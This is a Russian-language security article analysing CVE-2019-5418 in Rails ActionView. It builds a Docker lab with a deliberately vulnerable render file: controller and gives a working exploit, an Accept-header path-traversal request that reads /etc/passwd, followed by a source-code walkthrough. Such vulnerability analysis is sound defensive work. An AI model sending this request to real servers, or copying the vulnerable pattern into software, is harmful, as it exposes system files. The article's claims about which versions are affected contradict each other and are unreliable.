Следующая новость
Предыдущая новость

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails

22.03.2019 17:53
Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails

Содержание статьи

  • Стенд
  • Детали
  • Демонстрация уязвимости (видео)
  • Выводы

Ты наверняка в курсе, что такое Ruby on Rails, если когда-нибудь сталкивался с веб-девом. Этот фреймворк в свое время захватил умы разработчиков и успешно применяется до сих пор. Любая уязвимость в нем означает огромное количество потенциальных целей. В этот раз мы посмотрим, как недавно найденный баг позволяет читать любые файлы на целевой системе.

Уязвимость имеет номер CVE-2019-5418 и заключается в раскрытии содержимого файла в компоненте ActionView. Специально сформированные заголовки Accept при выполнении контроллеров, в которых имеются конструкции render file:, могут привести к чтению произвольных файлов на целевой системе. Уязвимы версии Ruby on Rails до 5.2.1.

Стенд

Демонстрацию уязвимости начинаем с конструирования стенда. Возьмем обычный контейнер Docker с Debian.

$ docker run --rm -p3000:3000 -ti --name=rails --hostname=rails debian /bin/bash 

Устанавливаем Ruby, Bundler и некоторые зависимости.

$ apt-get -y update && apt-get install -y ruby bundler libsqlite3-dev zlibc zlib1g zlib1g-dev 

Теперь установим фреймворк Rails уязвимой версии, например 5.2.1.

$ gem install rails -v 5.2.1 

Далее нужно создать папку для тестового проекта, а в ней Gemfile — это список того, какие гемы и каких версий нужны разрабатываемому проекту.

$ mkdir ~/test && cd "$_" $ echo "source 'https://rubygems.org'" >> Gemfile $ echo "gem 'rails', '5.2.1'" >> Gemfile $ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile 

Теперь скачаем и установим все это дело.

$ bundle install 

После этих манипуляций нужно создать приложение Rails из стандартного шаблона.

$ rails new . --force --skip-bundle 

И снова установим необходимые гемы при помощи Bundle.

$ bundle install 

Приложение готово, и можно запустить веб-сервер, чтобы проверить его работу.

$ rails s 
Проверка работы Ruby on Rails

Если все работает нормально, то создаем новый контроллер. Назовем его vuln.

$ rails generate controller vuln 

Фреймворк создаст необходимые файлы в директории с проектом. Откроем сам код контроллера app/controllers/vuln_controller.rb и добавим в него уязвимый код.

app/controllers/vuln_controller.rb
class VulnController < ApplicationController   def index     render file: "#{Rails.root}/hello"   end end 

В качестве представления (view) можно указать путь до любого файла. Я создал файл hello в корне проекта с содержимым «Hi there!».

Также нужно отредактировать файл с роутами config/routes.rb и прописать там имя нашего контроллера.

config/routes.rb
Rails.application.routes.draw do   resources :vuln end 

Снова запустим веб-сервер.

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Созданные контроллеры и запуск веб-сервера

Если теперь ты перейдешь по URI /vuln, то увидишь строчку Hi there! из файла hello. Стенд готов.

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Готовый стенд для теста уязвимости в Ruby on Rails

Если тебя интересует отладка, то можешь воспользоваться удаленной (c некоторыми ограничениями). Я для этого возьму IDE RubyMine.

При запуске Docker нужно открыть еще один порт для подключения отладчика.

$ docker run --rm -p3000:3000 -p1234:1234 -ti --name=rails --hostname=rails debian /bin/bash 

Затем нужно установить на обоих машинах гемы для дебага. Следи, чтобы они были одинаковых версий.

$ gem install ruby-debug-ide -v 0.7.0.beta7 $ gem install debase -v 0.2.3.beta5 

Копируем проект на локальную машину, открываем его в RubyMine и добавляем конфигурацию удаленной отладки.

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Добавление конфигурации удаленной отладки в RubyMine

Указываем необходимые настройки. Обрати внимание на локальный и удаленный пути до проекта.

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Настройка удаленной отладки в RubyMine

В поле Server command находится команда, которую нужно выполнить на сервере, чтобы начать слушать порт и ждать подключения отладчика. Вместо $COMMAND$ указываем строку для запуска сервера.

$ rdebug-ide --host 0.0.0.0 --port 1234 --dispatcher-port 26162 -- bin/rails s -b '0.0.0.0' 

Теперь можно расставлять брейк-пойнты и наслаждаться отладкой.

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Удаленная отладка приложения на Rails с помощью RubyMine

Также никто не мешает отлаживать на этой же машине, вообще не используя Docker.

Детали

В этот раз начнем сразу с эксплоита, так как он очень прост. Нужно отправить запрос на уязвимый роут и указать в качестве заголовка Accept конструкцию c path traversal и {{ в конце.

GET /vuln HTTP/1.1 Host: rails.vh:3000 Connection: close Accept: ../../../../../../../../../../etc/passwd{{ 

В ответ получишь содержимое файла /etc/passwd.

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Успешная эксплуатация чтения локальных файлов в Ruby on Rails

Теперь разберемся, что приводит к такому печальному поведению. Скачиваем исходники этой версии Rails.
Метод render может использовать в качестве представления файлы, которые находятся за пределами директории разрабатываемого приложения. Заглянем в файл template_renderer.rb. При обработке опции file вызывается метод find_file, чтобы определить, какой шаблон будет отображен.

/actionview/lib/action_view/renderer/template_renderer.rb
05: module ActionView 06:   class TemplateRenderer < AbstractRenderer #:nodoc: 07:     def render(context, options) 08:       @view    = context 09:       @details = extract_details(options) 10:       template = determine_template(options) ... 22:       def determine_template(options) ... 25:         if options.key?(:body) ... 31:         elsif options.key?(:file) 32:           with_fallbacks { find_file(options[:file], nil, false, keys, @details) } 

Посмотрим в тело метода.

/actionview/lib/action_view/lookup_context.rb
008: module ActionView ... 016:   class LookupContext #:nodoc: ... 106:     module ViewPaths 107:       attr_reader :view_paths, :html_fallback_for_js ... 120:       def find_file(name, prefixes = [], partial = false, keys = [], options = {}) 121:         @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options)) 122:       end 

Далее args_for_lookup генерирует опции, которые необходимы для рендеринга вида.

/actionview/lib/action_view/lookup_context.rb
154:       def args_for_lookup(name, prefixes, partial, keys, details_options) 155:         name, prefixes = normalize_name(name, prefixes) 156:         details, details_key = detail_args_for(details_options) 157:         [name, prefixes, partial || false, details, details_key, keys] 158:       end 

После выполнения этого куска кода данные из заголовка Accept оказываются в переменной details[format].

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Метод args_for_lookup помещает данные из заголовка Accept в массив details[format]

Затем вызывается @view_paths.find_file.

/actionview/lib/action_view/path_set.rb
03: module ActionView #:nodoc: ... 11:   class PathSet #:nodoc: ... 51:     def find_file(path, prefixes = [], *args) 52:       _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args)) 53:     end ... 74:       def _find_all(path, prefixes, args, outside_app) 75:         prefixes = [prefixes] if String === prefixes 76:         prefixes.each do |prefix| 77:           paths.each do |resolver| 78:             if outside_app 79:               templates = resolver.find_all_anywhere(path, prefix, *args) ... 82:             end 83:             return templates unless templates.empty? 84:           end 85:         end 86:         [] 87:       end 

Файл находится за пределами директории приложения (app), поэтому переменная outside_app установлена в значение True и будет вызван метод find_all_anywhere.

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Отладка метода find_all из ActionView
/actionview/lib/action_view/template/resolver.rb
010: module ActionView 011:   # = Action View Resolver 012:   class Resolver 013:     # Keeps all information about view path and builds virtual path. 014:     class Path ... 151:     def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = []) 152:       cached(key, [name, prefix, partial], details, locals) do 153:         find_templates(name, prefix, partial, details, true) 154:       end 155:     end 

Далее вызов find_templates начинает процесс генерации пути до файла представления.

/actionview/lib/action_view/template/resolver.rb
207:   class PathResolver < Resolver #:nodoc: 208:     EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." } 209:     DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}" 210: 211:     def initialize(pattern = nil) 212:       @pattern = pattern || DEFAULT_PATTERN 213:       super() 214:     end ... 218:       def find_templates(name, prefix, partial, details, outside_app_allowed = false) 219:         path = Path.build(name, prefix, partial) 220:         query(path, details, details[:formats], outside_app_allowed) 221:       end 
Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Начало генерации шаблона для поиска файла представления

Обрати внимание на дефолтный паттерн (строка 209).

:prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,} 

Если ты легитимно обращаешься к /vuln, то готовый паттерн будет выглядеть примерно так:

hello{.{en}.}{.{.},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},} 

В процессе вызывается метод query, в качестве аргументов отправляется наша переменная details[:formats].

223:       def query(path, details, formats, outside_app_allowed) 224:         query = build_query(path, details) 225: 226:         template_paths = find_template_paths(query) ... 239:         end 240:       end 

Здесь в build_query формируется шаблон поиска пути, из которого будет подгружен файл вида.

Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Метод build_query завершает формирование шаблона
/actionview/lib/action_view/template/resolver.rb
261:       def build_query(path, details) 262:         query = @pattern.dup 263: 264:         prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\1" 265:         query.gsub!(/:prefix(/)?/, prefix) 266: 267:         partial = escape_entry(path.partial? ? "_#{path.name}" : path.name) 268:         query.gsub!(/:action/, partial) 269: 270:         details.each do |ext, candidates| 271:           if ext == :variants && candidates == :any 272:             query.gsub!(/:#{ext}/, "*") 273:           else 274:             query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}") 275:           end 276:         end 277: 278:         File.expand_path(query, @path) 279:       end 

Благодаря тому что переменная details[formats] никак не фильтруется, атакующий имеет возможность внедрять произвольную строку в формат поиска файла представления. Используя конструкции ../, мы осуществляем выход из директории и добираемся до пути /etc/passwd, а две фигурные скобки в конце строки добавляем для того, чтобы конструкция получилась валидная. Таким образом, мы как бы расширяем дефолтный паттерн. В итоге, после того как отработает File.expand_path, строка для поиска файла вида будет иметь вид

/root/testapp/app/views/root/testapp/hello{.en,}{.../../../../../../../../../../etc/passwd{{,}{}{.raw,.erb,.html,.builder,.ruby,.coffee,.jbuilder,} 

Дальше методы render_template и render_with_layout делают свое дело и загружают содержимое файла passwd во время рендеринга.

/actionview/lib/action_view/renderer/template_renderer.rb
49:       def render_template(template, layout_name = nil, locals = nil) 50:         view, locals = @view, locals || {} 51:  52:         render_with_layout(layout_name, locals) do |layout| 
Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Отладка метода render_template. Файл /etc/passwd используется в качестве шаблона
/actionview/lib/action_view/renderer/template_renderer.rb
59:       def render_with_layout(path, locals) 60:         layout  = path && find_layout(path, locals.keys, [formats.first]) 61:         content = yield(layout) 62:  63:         if layout 64:           view = @view 65:           view.view_flow.set(:layout, content) 66:           layout.render(view, locals) { |*name| view._layout_for(*name) } 67:         else 68:           content 69:         end 70:       end 
Файлы по рельсам. Как читать любые файлы с сервера через Ruby on Rails
Вывод содержимого файла /etc/passwd в качестве представления

Эксплуатация успешно завершена.

Демонстрация уязвимости (видео)

Выводы

Вот такая банальная и одновременно опасная уязвимость. Советую проверить свои проекты на наличие конструкций вида render file:, и, если они имеются, надо менять логику.

И советую обновить Rails до последних версий, если приложение это позволяет. Разработчики быстро отреагировали и выпустили патч для устранения этой уязвимости, так что версии 5.2.1 и старше ее лишены.

Источник

Последние новости